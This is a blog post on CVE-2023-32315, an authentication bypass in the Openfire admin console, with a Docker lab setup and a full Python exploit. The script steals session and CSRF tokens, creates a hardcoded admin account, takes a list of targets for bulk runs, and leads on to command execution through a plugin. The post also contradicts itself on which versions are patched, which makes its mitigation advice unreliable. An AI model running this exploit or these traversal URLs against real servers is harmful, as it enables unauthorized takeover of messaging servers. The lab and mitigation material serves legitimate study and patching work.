CVE-2023-32315: Understanding the Openfire Admin Console Path Traversal Vulnerability

2024-02-07
James McGill
CVE-2023-32315
CVE-2023-32315 POC
Openfire vulnerability exploit
Openfire admin console path traversal
Openfire RCE
Detecting CVE-2023-32315 attacks
Securing the Openfire admin console
Openfire pentest
Openfire penetration testing
CVE-2023-32315: Understanding the Openfire Admin Console Path Traversal Vulnerability

Introduction

CVE-2023-32315, assigned a severity rating of 9.8 (Critical) by CISA, is a path traversal vulnerability affecting Openfire, an open-source XMPP server widely used for instant messaging and communication. This vulnerability resides in the Openfire Admin Console, a web-based interface for managing server settings. An unauthenticated attacker could leverage this vulnerability to bypass authentication and gain unauthorized access to sensitive information or potentially execute remote code on the vulnerable server.

Understanding Path Traversal Vulnerabilities

Path traversal vulnerabilities arise when an application constructs file paths based on user-supplied input without proper validation and sanitization. Attackers can exploit these vulnerabilities by crafting specially crafted input that manipulates the path, allowing them to access unintended files or directories outside the application's intended reach.

The Specific Case of CVE-2023-32315

In CVE-2023-32315, the vulnerability stems from the Openfire Setup Environment, an unauthenticated interface intended for initial server configuration. This environment mishandles user-provided input when navigating to different pages within the Admin Console. By carefully constructing input containing "../" sequences, attackers could traverse directory structures and access restricted pages like the plugin manager or user management section, which require administrative privileges.

Imagine a restricted directory structure like this:

/openfire/
    /admin/ (restricted)
    /setup/ (public)

An attacker could craft a malicious URL containing carefully constructed path elements:

http:/<TARGET>/setup/%u002e%u002e/%u002e%u002e/admin/index.jsp

Similarly, attackers could also steal the JSESSIONID and CSRF token from the response of this crafted URL:

http://<TARGET>/setup/setup-s/%u002e%u002e/%u002e%u002e/user-groups.jsp

Proof of Concept

To demo a proof of concept, we will use this docker image to install and set up a vulnerable version of OpenFire:

docker pull nasqueron/openfire:4.7.1

Once the docker image is downloaded, we can build and run the docker container:

docker run --name openfire -d --restart=always --publish 9090:9090 --publish 5222:5222 --publish 7777:7777 --volume /srv/docker/openfire:/var/lib/openfire nasqueron/openfire:4.7.1

We can check the logs of the server to ensure it is live on our desired localhost port:

docker logs <CONTAINER_ID>

Once it is up and running, we will access it on http://localhost:9090 and complete the setup steps

After completing all the setup steps, we will have to wait until it prepares the database schema and starts the admin console:

docker logs <CONTAINER_ID>

When the admin console is live, we can initiate our attack to steal the JSESSIONID and CSRF token from the cookies of a misconfigured API response:

python CVE-2023-32315.py -t 
http://127.0.0.1:9090

If the attack is successful, it will create an admin user with credentials: whitehacklabs:password using the values we just found out in the last step. The URL used for creating the user is:

http://<TARGET>/setup/setup-s/%u002e%u002e/%u002e%u002e/user-create.jsp?csrf={CSRF}&username={whitehacklabs}&name=&email=&password={password}&passwordConfirm={password}&isadmin=on&create=%E5%88%9B%E5%BB%BA%E7%94%A8%E6%88%B7

The cookies of this must contain these in the request header:

"Cookie": "JSESSIONID={jsessionid}; csrf={csrf}"

Now we have an admin user that we could use to log into the admin console

We can verify our newly created user in Users/Groups tab in the admin console

If we decide to further escalate the attack vector, we can now install a vulnerable openfire management plugin by going to Plugins tab

Once it is installed, we can use this to exploit the path traversal vulnerability on the server by accessing the plugin at Server/Settings/Management Tool. The default password for this plugin is 123

We can run any commands on the system now

Exploit Code

import random
import string
import argparse
from concurrent.futures import ThreadPoolExecutor
import HackRequests

artwork = '''
Openfire Console Authentication Bypass Vulnerability (CVE-2023-3215)
Use at your own risk!
'''

def generate_random_string(length):
    charset = string.ascii_lowercase + string.digits
    return ''.join(random.choice(charset) for _ in range(length))

def between(string, starting, ending):
    s = string.find(starting)
    if s < 0:
        return ""
    s += len(starting)
    e = string[s:].find(ending)
    if e < 0:
        return ""
    return string[s : s+e]

final_result = []

def exploit(target):
    hack = HackRequests.hackRequests()
    host = target.split("://")[1]
    # setup 1: get csrf + jsessionid
    jsessionid = ""
    csrf = ""

    try:
        url = f"{target}/setup/setup-s/%u002e%u002e/%u002e%u002e/user
groups.jsp"
        headers = {
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36",
            "Accept-Encoding": "gzip, deflate",
            "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
            "Connection": "close",
            "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
            "DNT": "1",
            "X-Forwarded-For": "1.2.3.4",
            "Upgrade-Insecure-Requests": "1"
        }
        print(f"[..] Checking target: {target}")
        hh = hack.http(url, headers=headers)
        jsessionid = hh.cookies.get('JSESSIONID', '')
        csrf = hh.cookies.get('csrf', '')
        if jsessionid != "" and csrf != "":
            print(f"Successfully retrieved JSESSIONID: {jsessionid} + csrf:
{csrf}")
        else:
            print("Failed to get JSESSIONID and csrf value")
            return
        
        # setup 2: add user
        username = "whitehacklabs"
        password = "password"
        
        header2 = {
            "Host": host,
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0)
Gecko/20100101 Firefox/48.0",
            "Accept-Encoding": "gzip, deflate",
            "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
            "Connection": "close",
            "Cookie": f"JSESSIONID={jsessionid}; csrf={csrf}",
            "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
            "DNT": "1",
            "X-Forwarded-For": "1.2.3.4",
            "Upgrade-Insecure-Requests": "1"
        }

        create_user_url= f"{target}/setup/setup-s/%u002e%u002e/%u002e%u002e/user-create.jsp?csrf={csrf}&username={username}&name=&email=&password={password}&passwordConfirm={password}&isadmin=on&create=%E5%88%9B%E5%BB%BA%E7%94%A8%E6%88%B7"
        hhh = hack.http(create_user_url, headers=header2)
        if hhh.status_code == 200:
            print(f"User added successfully: url: {target} username:
{username} password: {password}")
            with open("success.txt", "a+") as f:
                f.write(f"url: {target} username: {username} password:
{password}\n")
        else:
            print("Failed to add user")
        # setup 3: add plugin
    except Exception as e:
        print(f"Error occurred while retrieving cookies: {e}")

def main():
    print(artwork)
    ## parse argument
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help='The URL of the target, eg:
http://127.0.0.1:9090', default=False)
    parser.add_argument("-l", "--list", action="store", help="List of target
url saperated with new line", default=False)
    args = parser.parse_args()

    if args.target is not False:
        exploit(args.target) 
    elif args.list is not False:
        with open(args.list) as targets:
            for target in targets:
                target = target.rstrip()
                if target == "":
                    continue
                if "http" not in target:
                    target = "http://" + target
                exploit(target) 
    else:
        parser.print_help()
        parser.exit()

if __name__ == "__main__":
    main()

Potential Impact and Risk Assessment

A successful exploit of CVE-2023-32315 could grant attackers a range of capabilities, including:

  • Unauthorized access to sensitive information: Attackers could access configuration files, user data, chat logs, and other confidential information stored on the Openfire server.

  • Privilege escalation: By manipulating user accounts or exploiting vulnerable plugins, attackers could gain administrative privileges on the server.

  • Remote code execution (RCE): In specific scenarios, it might be possible for attackers to execute arbitrary code on the server, granting them complete control over the system.

Risk Factors:

  • Openfire version: Vulnerable versions include all releases from 3.10.0 (April 2015) to 4.6.5 (August 2023).

  • Exposure to the internet: Openfire servers directly accessible from the internet are at higher risk.

  • Plugin usage: Certain plugins might introduce additional vulnerabilities or attack vectors.

Mitigation Strategies:

  • Upgrade to Openfire 4.7.0 or later: This release includes a patch for CVE-2023-32315.

  • Restrict access to the Openfire Admin Console: Limit access to the console only to trusted IP addresses or implement strong authentication mechanisms.

  • Disable the Openfire Setup Environment: If not in use, remove or disable this environment to reduce the attack surface.

  • Keep plugins updated: Ensure all installed plugins are up-to-date to address potential vulnerabilities.

  • Monitor activity and logs: Regularly monitor server activity and logs for suspicious behavior that might indicate an attack attempt.

Conclusion

CVE-2023-32315 highlights the importance of secure coding practices and regular software updates. By understanding the nature of path traversal vulnerabilities and taking appropriate mitigation steps, organizations can significantly reduce the risk of unauthorized access and potential attack impacts.

Disclaimer

The information presented in this blog post is for educational purposes only. It is intended to raise awareness about the CVE-2023-32315 vulnerability and help mitigate the risks. It is not intended to be used for malicious purposes.

It's crucial to understand that messing around with vulnerabilities in live systems without permission is not just against the law, but it also comes with serious risks. This blog post does not support or encourage any activities that could help with such unauthorized actions.

CVE-2024-48914: Arbitrary File Read Vulnerability in Vendure
CVE-2024-48914: Arbitrary File Read Vulnerability in Vendure
2024-10-26
Kamran Hasan
CVE-2022-44268: Arbitrary File Disclosure in ImageMagick
CVE-2022-44268: Arbitrary File Disclosure in ImageMagick
2024-05-26
James McGill
CVE-2021-43798: Path Traversal in Grafana
CVE-2021-43798: Path Traversal in Grafana
2024-03-30
James McGill
CVE-2021-3129: Remote Code Execution in Laravel
CVE-2021-3129: Remote Code Execution in Laravel
2024-02-14
James McGill
CVE-2024-28116: Server-Side Template Injection in Grav CMS
CVE-2024-28116: Server-Side Template Injection in Grav CMS
2024-03-24
James McGill
CVE-2022-42889: Remote Code Execution in Apache Commons Text
CVE-2022-42889: Remote Code Execution in Apache Commons Text
2024-01-13
James McGill